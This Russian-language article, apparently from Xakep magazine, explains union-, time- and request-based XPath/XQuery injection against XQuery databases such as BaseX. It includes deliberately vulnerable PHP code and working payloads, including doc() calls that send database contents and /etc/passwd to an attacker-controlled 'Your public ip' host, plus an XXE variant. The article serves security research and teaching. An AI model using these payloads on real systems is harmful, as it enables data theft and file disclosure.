Содержание статьи
На сегодняшний день широкой общественности известен единственный boolean-based
метод обнаружения и эксплуатации XPath/XQuery injection
. В то же время XPath
и XQuery
— самые распространенные языки для работы с данными в формате XML
. Поэтому, чтобы исправить такую несправедливость, я расскажу о других техниках обнаружения и эксплуатации XPath/XQuery injection
.
Уязвимости класса injection
— одни из наиболее популярных и особо опасных. Об этом свидетельствует их упоминание во всех редакциях OWASP Top 10. XPath/XQuery injection
служат характерными примерами таких уязвимостей. Их краткое описание доступно на сайте WASC в разделе Threat Classification.
Сегодня я ограничусь исследованием уязвимостей этого класса в области веб-приложений для баз данных, основанных на XQuery
. Все рассматриваемые методы были найдены при анализе стандартов языков XPath
и XQuery
и проверены на существующих базах данных.
Union-based
Первый метод, о котором сегодня пойдет речь, получил свое название из-за использования операции объединения запросов |
. Для его применения необходимо, чтобы результат уязвимого запроса от веб-приложения к базе данных отображался в браузере пользователя. В этом случае можно попытаться заменить данные, которые запрашивает веб-приложение, на другие. Например, на содержимое всех текстовых узлов XML
-документа, с которым сейчас работает приложение. Ниже приведен листинг кода веб-приложения, уязвимого для данного метода.
<?php
ini_set('display_errors',0);
# Подключение API базы данных BaseX
include("BaseXClient.php");
class DB {
# Параметры подключения к базе данных
protected $host = 'localhost';
protected $port = '1984';
protected $database = 'tests';
protected $user = 'admin';
protected $password = 'admin';
protected $session = null;
public function connect()
{
$this->session = new Session($this->host, $this->port, $this->user, $this->password);
$this->session->execute("open ".$this->database);
}
public function select($param)
{
$input = 'for $i in doc("tests/news.xml")//News[@ID="'.$param.'"]'.
'/info/text() return <h3> {$i} </h3>';
$query = $this->session->query($input);
while($query->more()) {
print $query->next()."\n";
}
$query->close();
}
public function exit_db()
{
$this->session->close();
}
}
# Получение пользовательских данных
if(($param = $_GET["id"]) == null)
{
print "<h3>try use id parameter for access to info</h3>";
exit;
}
$db = new DB();
$db->connect();
# Вызов уязвимой функции
$db->select($param);
$db->exit_db();
?>
Стоит заметить, что данный пример уязвим также для boolean-based
метода. В нем отсутствует проверка входных данных для параметра id
GET
-запроса. В ходе выполнения кода вызывается функция select
, которая содержит запрос к news.xml
из базы данных tests
. Содержимое news.xml
приведено ниже:
<Root>
<News ID="1">
<info>British people are my only 'boss' on EU reform, says David Cameron</info>
</News>
<News ID="2">
<info>BoE says part of banking payment system down</info>
</News>
…
</Root>
Эксплуатация union-based
метода заключается во внедрении конструкции 0 and 1=0] | //* | /*[0
. Для запроса, приведенного в примере, она будет иметь следующий вид: 0" and 1=0] | //* | /*["0
. При подстановке в запрос этой конструкции он разобьется на три других запроса, из которых первый и последний не вернут ничего. Второй запрос, имеющий вид //*
, вернет содержимое всех XML
-документов, доступных пользователю, из-под которого приложение работает базой.
Xakep #198. Случайностей не бывает
Time-based
Далеко не всегда результат уязвимого запроса к базе данных подставляется в код страницы, которую потом видит пользователь в окне своего браузера. Также не всегда можно детерминировано влиять на содержимое страницы через уязвимый параметр. Таким образом, при анализе веб-приложения на наличие XPath/XQuery injection
union-
и boolean-based
методов будет явно недостаточно.
В классе SQL injection
есть time-based
метод. Он работает в ситуациях, когда от времени обработки запроса к базе данных, содержащего уязвимость, зависит время получения браузером ответа на запрос к веб-приложению. Ниже представлен пример веб-приложения, которое уязвимо для time-based
и не уязвимо для union
и boolean-based
.
<?php
ini_set('display_errors',0);
# Подключение API базы данных BaseX
include("BaseXClient.php");
class DB {
# Параметры подключения к базе данных
protected $host = 'localhost';
protected $port = '1984';
protected $database = 'tests';
protected $user = 'admin';
protected $password = 'admin';
protected $session = null;
public function connect()
{
$this->session = new Session($this->host, $this->port, $this->user, $this->password);
$this->session->execute("open ".$this->database);
}
public function select($uid, $username)
{
$input = 'doc("tests/users.xml")//Users[./UserName="'.$username.'"]/*[name()="UID"]/text()';
$query = $this->session->query($input);
if($query->next() === $uid)
{
$query->close();
$input = 'for $i in doc("tests/users.xml")//Users[./UID="'.$uid.'"]'.
'/*[name()="FirstName" or name()="LastName"]/text() return <h3> {$i} </h3>';
$query = $this->session->query($input);
while($query->more()) {
print $query->next()."\n";
}
}
$query->close();
}
public function exit_db()
{
$this->session->close();
}
}
# Получение пользовательских данных
if(
((($uid = $_GET["uid"]) == null) || !is_numeric($uid)) || (($username = $_GET["username"]) == null)
){
print "<h3>try use uid and username parameters for access to info</h3>";
exit;
}
$db = new DB();
$db->connect();
# Вызов уязвимой функции
$db->select($uid, $username);
$db->exit_db();
?>
В этом примере username
является переменной, содержащей уязвимость рассматриваемого класса. Результат запроса к базе данных не включается в ответ от веб-приложения и не влияет детерминированным образом на его содержимое. Содержимое users.xml
приведено ниже.
<Root>
<Users>
<UID>57394309</UID>
<FirstName>Gandalf</FirstName>
<LastName>the Grey</LastName>
<UserName>Mithrandir</UserName>
<!--Stormcrow-->
<Password>c5f7d86f237453de41c38a7d886c5a9c</Password>
<Type> User </Type>
</Users>
…
</Root>
Для реализации time-based
атаки необходимо наличие конструкции if-then
(можно обойтись поддержкой ленивых вычислений) и конструкции языка, которая задерживает обработку запроса базой данных. Этого нет в XPath
, зато есть в XQuery
. В качестве конструкции, вызывающей задержку, я использую reverse(-9999 to 9999)=0
. Таким образом, внедряемая конструкция принимает вид: 1"and if (count(/*)=1) then reverse(-9999 to 9999)=0 else 1=1 and "1"="1
. Если ее передать в качестве параметра username GET
-запроса к веб-приложению из примера, то ответ от него придет с задержкой, так как count(/*)=1
в XPath
и XQuery
всегда возвращает правду. Вместо этого равенства для извлечения содержимого базы можно использовать функции, применяемые в boolean-based
методе.
Request-based
Извлечение содержимого базы данных time-
и boolean-based
методами — процесс длительный, а область применения union-based
сильно ограничена. Возникает вопрос: как получить содержимое базы в тех же случаях, в которых работают time-
и boolean-based
, но за меньшее время?
Кроме того, хочется узнавать о наличии XPath/XQuery injection
в момент обработки запроса к базе данных. То есть чтобы база сама сообщала о срабатывании инъекции, минуя веб-приложение.
Ответом на поставленный вопрос и решением озвученной проблемы будет request-based
метод. Он основан на функции doc
, которая позволяет загружать в базу XML
-документы, расположенные на локальной или удаленной машине. Используемая в нем конструкция имеет вид: doc(concat("Your public ip",encode-for-uri(name(/*[1])))
. В результате ее выполнения обработчиком языка XQuery
на ваш публичный IP-адрес будет отправлен GET
-запрос, в котором в качестве пути будет присутствовать содержимое корневого узла в URI
-кодировке.
Функция doc
также может использоваться для XXE
-атаки на базу данных: doc(concat("Your public ip",encode-for-uri(doc("Your public ip/XXE.xml"))))
. При использовании этой конструкции в качестве пути будет присутствовать результат обработки XML
-документа, содержащего XXE
.
Чтение локальных файлов
В последнем стандарте, который получил статус рекомендации W3C в 2014 году, появилась функция unparsed-text
, позволяющая обрабатывать в запросе локальные файлы как последовательность символов. При ее использовании с упомянутыми ранее методами можно читать локальные файлы. Например, прочитать содержимое /etc/passwd
, используя request-based
метод: doc(concat("Your public ip",encode-for-uri(unparsed-text("/etc/passwd"))))
.
Заключение
Тема XPath/XQuery injection
не ограничивается только лишь веб-приложениями и базами данных на основе XQuery
. В следующий раз я постараюсь осветить тему обнаружения и эксплуатации уязвимостей этого класса для обработчиков на мобильных устройствах и веб-приложений, работающих базами данных, которые не основаны на XQuery
.